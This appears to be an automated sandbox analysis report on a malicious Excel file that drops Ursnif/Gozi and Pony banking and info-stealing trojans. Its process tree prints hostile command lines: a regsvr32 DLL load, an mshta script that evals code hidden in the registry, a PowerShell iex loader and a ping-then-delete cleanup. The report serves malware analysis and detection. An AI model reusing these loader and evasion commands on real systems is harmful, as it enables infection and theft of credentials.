Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    14-07-2020 05:18

General

  • Target

    tr_0.xls

  • Size

    90KB

  • MD5

    08f03e9133419730830daa1d5c05f2ea

  • SHA1

    0fbe4abe79048fb25f00e11c3f53b9729ea2019b

  • SHA256

    ee2dc4300f18802a18616e9e5434b2a0d438c819d2229d3724fa266ae881dbf7

  • SHA512

    d272fc170333bca041dba873120303694f99bd6f89e32b73597ad8cb6da63e54b45e1f15c34ca8494369d091693c456076374f3fb58c66ce08d1f5140e2745c1

Malware Config

Signatures

  • Suspicious use of SetThreadContext 8 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Checks whether UAC is enabled 3 IoCs
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Suspicious use of SetWindowsHookEx 26 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 76 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Suspicious behavior: EnumeratesProcesses 1494 IoCs
  • Suspicious use of AdjustPrivilegeToken 92 IoCs
  • Program crash 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Checks for installed software on the system 1 TTPs 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Loads dropped DLL 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: MapViewOfSection
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of UnmapMainImage
    PID:3012
    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tr_0.xls"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of WriteProcessMemory
      • Enumerates system info in registry
      • Checks processor information in registry
      PID:2536
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" /s /i dDdoiBj.ocx
        3⤵
        • Suspicious use of WriteProcessMemory
        • Process spawned unexpected child process
        PID:3972
        • C:\Windows\SysWOW64\regsvr32.exe
          /s /i dDdoiBj.ocx
          4⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          • Loads dropped DLL
          PID:3992
          • C:\Windows\SysWOW64\svchost.exe
            C:\Windows\System32\svchost.exe
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Checks for installed software on the system
            PID:2528
            • C:\Windows\SysWOW64\cmd.exe
              cmd /K
              6⤵
                PID:1060
              • C:\Windows\SysWOW64\svchost.exe
                C:\Windows\System32\svchost.exe
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:868
              • C:\Users\Admin\AppData\Local\Temp\BN818A.tmp
                C:\Users\Admin\AppData\Local\Temp\BN818A.tmp
                6⤵
                • Executes dropped EXE
                PID:1176
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 664
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Program crash
              PID:2320
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82\\\AxInrvps'));if(!window.flag)close()</script>"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2388
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82").AppCbcd))
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          • Suspicious behavior: MapViewOfSection
          • Suspicious behavior: EnumeratesProcesses
          PID:3988
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rkw3v1d0\rkw3v1d0.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4084
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1.tmp" "c:\Users\Admin\AppData\Local\Temp\rkw3v1d0\CSC95A3117E6C264A34A81E66F7548F66B3.TMP"
              5⤵
                PID:3340
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r1a23ul4\r1a23ul4.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1016
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1D6.tmp" "c:\Users\Admin\AppData\Local\Temp\r1a23ul4\CSCF7E314EF43EC40C3A0BB1DA3C5DA873.TMP"
                5⤵
                  PID:592
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BN818A.tmp"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            • Suspicious behavior: MapViewOfSection
            PID:1540
            • C:\Windows\system32\PING.EXE
              ping localhost -n 5
              3⤵
              • Runs ping.exe
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              PID:3916
          • C:\Windows\system32\cmd.exe
            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\F5F7.bi1"
            2⤵
              PID:3972
              • C:\Windows\system32\nslookup.exe
                nslookup myip.opendns.com resolver1.opendns.com
                3⤵
                  PID:3536
              • C:\Windows\system32\cmd.exe
                cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\E301.bi1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2112
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:3440
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E301.bi1"
                  2⤵
                    PID:3024
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\F5F7.bi1"
                    2⤵
                      PID:3988
                    • C:\Program Files\Windows Mail\WinMail.exe
                      "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                      2⤵
                        PID:2176
                    • C:\Windows\System32\RuntimeBroker.exe
                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                      1⤵
                        PID:3448
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Checks whether UAC is enabled
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        • Modifies Internet Explorer settings
                        PID:1612
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1612 CREDAT:82945 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Suspicious use of SetWindowsHookEx
                          • Modifies Internet Explorer settings
                          PID:3712
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1612 CREDAT:82950 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Suspicious use of SetWindowsHookEx
                          • Modifies Internet Explorer settings
                          PID:2524

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

                      • C:\Users\Admin\AppData\Local\Temp\BN818A.tmp

                      • C:\Users\Admin\AppData\Local\Temp\BN818A.tmp

                      • C:\Users\Admin\AppData\Local\Temp\E301.bi1

                      • C:\Users\Admin\AppData\Local\Temp\E301.bi1

                      • C:\Users\Admin\AppData\Local\Temp\F5F7.bi1

                      • C:\Users\Admin\AppData\Local\Temp\F5F7.bi1

                      • C:\Users\Admin\AppData\Local\Temp\RES1.tmp

                      • C:\Users\Admin\AppData\Local\Temp\RES1D6.tmp

                      • C:\Users\Admin\AppData\Local\Temp\r1a23ul4\r1a23ul4.dll

                      • C:\Users\Admin\AppData\Local\Temp\rkw3v1d0\rkw3v1d0.dll

                      • C:\Users\Admin\Documents\dDdoiBj.ocx

                      • \??\c:\Users\Admin\AppData\Local\Temp\r1a23ul4\CSCF7E314EF43EC40C3A0BB1DA3C5DA873.TMP

                      • \??\c:\Users\Admin\AppData\Local\Temp\r1a23ul4\r1a23ul4.0.cs

                      • \??\c:\Users\Admin\AppData\Local\Temp\r1a23ul4\r1a23ul4.cmdline

                      • \??\c:\Users\Admin\AppData\Local\Temp\rkw3v1d0\CSC95A3117E6C264A34A81E66F7548F66B3.TMP

                      • \??\c:\Users\Admin\AppData\Local\Temp\rkw3v1d0\rkw3v1d0.0.cs

                      • \??\c:\Users\Admin\AppData\Local\Temp\rkw3v1d0\rkw3v1d0.cmdline

                      • \Users\Admin\Documents\dDdoiBj.ocx

                      • memory/592-88-0x0000000000000000-mapping.dmp

                      • memory/868-9-0x000000000BC01067-mapping.dmp

                      • memory/868-8-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                      • memory/868-10-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                      • memory/1016-85-0x0000000000000000-mapping.dmp

                      • memory/1060-7-0x0000000000000000-mapping.dmp

                      • memory/1176-14-0x0000000000FE6000-0x0000000000FE7000-memory.dmp

                        Filesize

                        4KB

                      • memory/1176-11-0x0000000000000000-mapping.dmp

                      • memory/1176-15-0x0000000001290000-0x0000000001291000-memory.dmp

                        Filesize

                        4KB

                      • memory/1540-93-0x0000000A70B8B000-mapping.dmp

                      • memory/1540-92-0x0000000000000000-mapping.dmp

                      • memory/2112-97-0x0000000000000000-mapping.dmp

                      • memory/2176-107-0x0000001580078000-mapping.dmp

                      • memory/2176-106-0x0000000000000000-mapping.dmp

                      • memory/2320-19-0x0000000004820000-0x0000000004821000-memory.dmp

                        Filesize

                        4KB

                      • memory/2320-24-0x0000000004E50000-0x0000000004E51000-memory.dmp

                        Filesize

                        4KB

                      • memory/2524-76-0x0000000000000000-mapping.dmp

                      • memory/2528-6-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/2528-5-0x0000000000402960-mapping.dmp

                      • memory/2528-4-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/3024-100-0x0000000000000000-mapping.dmp

                      • memory/3340-81-0x0000000000000000-mapping.dmp

                      • memory/3440-98-0x0000000000000000-mapping.dmp

                      • memory/3536-99-0x0000000000000000-mapping.dmp

                      • memory/3712-75-0x0000000000000000-mapping.dmp

                      • memory/3916-94-0x0000000000000000-mapping.dmp

                      • memory/3916-95-0x000000982A20B000-mapping.dmp

                      • memory/3972-0-0x0000000000000000-mapping.dmp

                      • memory/3972-96-0x0000000000000000-mapping.dmp

                      • memory/3988-77-0x0000000000000000-mapping.dmp

                      • memory/3988-101-0x0000000000000000-mapping.dmp

                      • memory/3992-21-0x0000000000000000-mapping.dmp

                      • memory/3992-20-0x0000000000000000-mapping.dmp

                      • memory/3992-22-0x0000000000000000-mapping.dmp

                      • memory/3992-72-0x0000000000000000-mapping.dmp

                      • memory/3992-73-0x0000000000000000-mapping.dmp

                      • memory/3992-74-0x00000000029F0000-0x00000000029F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3992-2-0x0000000000000000-mapping.dmp

                      • memory/4084-78-0x0000000000000000-mapping.dmp